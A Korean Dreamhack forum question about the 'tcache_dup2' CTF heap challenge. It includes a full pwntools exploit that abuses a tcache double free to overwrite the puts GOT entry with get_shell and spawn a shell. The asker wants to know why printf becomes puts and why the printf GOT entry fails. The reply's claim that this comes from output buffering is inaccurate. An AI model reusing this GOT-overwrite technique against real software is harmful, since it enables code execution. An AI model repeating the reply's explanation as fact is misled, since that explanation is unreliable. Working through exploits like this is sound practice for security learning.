10 코인 printf의 got을 사용하면 실행이 안됩니다
from pwn import *

p = remote("host1.dreamhack.games", 10361)
e = ELF("./tcache_dup2")

def create(size, data):
    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Data: ", data)

def modify(idx, size, data):
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"idx: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Data: ", data)
    
def delete(idx):
    p.sendlineafter(b"> ", b'3')
    p.sendlineafter(b"idx: ", str(idx).encode())

create(0x30, b'AAAA')
create(0x30, b'AAAA')
delete(0)
delete(1)

modify(1, 0x10, b'B' * 8 + b'\x00')
delete(1)

create(0x30, p64(e.got["puts"]))

create(0x30, b'C' * 8)

create(0x30, p64(e.symbols["get_shell"]))

p.interactive()

실행해서 문제를 해결하였으나 이해되지 않는 부분들이 있어서 질문 드립니다.

  1. 문제에서 printf("1. Create heap\n");는 puts가 실행되는데 printf("> ");는 printf가 실행되는 이유가 뭔가요? \n의 유무인가요?

  2. e.got['puts']는 실행되는데 e.got['printf']는 실행이 안되는 이유는 뭔가요?

#pwnable
작성자 정보
답변 1
avatar
-> 크로
대표 업적 없음
  • 저도 정확하게는 모르지만 최선을 다해서 대답해 보도록 하겠습니다
  1. \n의 유무가 맞습니다, \n의 유무는 출력이 즉시 화면에 나타나는지 여부에 영향을 미칩니다. (버퍼링 방식에 따른 차이)
  2. 이 문제는 GOT에 해당 함수의 항목이 존재하는지 여부와 관련이 있습니다, puts는 문제 코드에서 사용되므로 GOT에 항목이 등록되어 있습니다. e.got['puts']를 사용하면 정상적으로 해당 항목에 접근할 수 있습니다. 여기서 함정은 printf는 문제 코드에서 사용되지 않는다면, 해당 함수가 GOT에 포함되지 않을 수 있습니다.
2025.01.20. 00:11
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기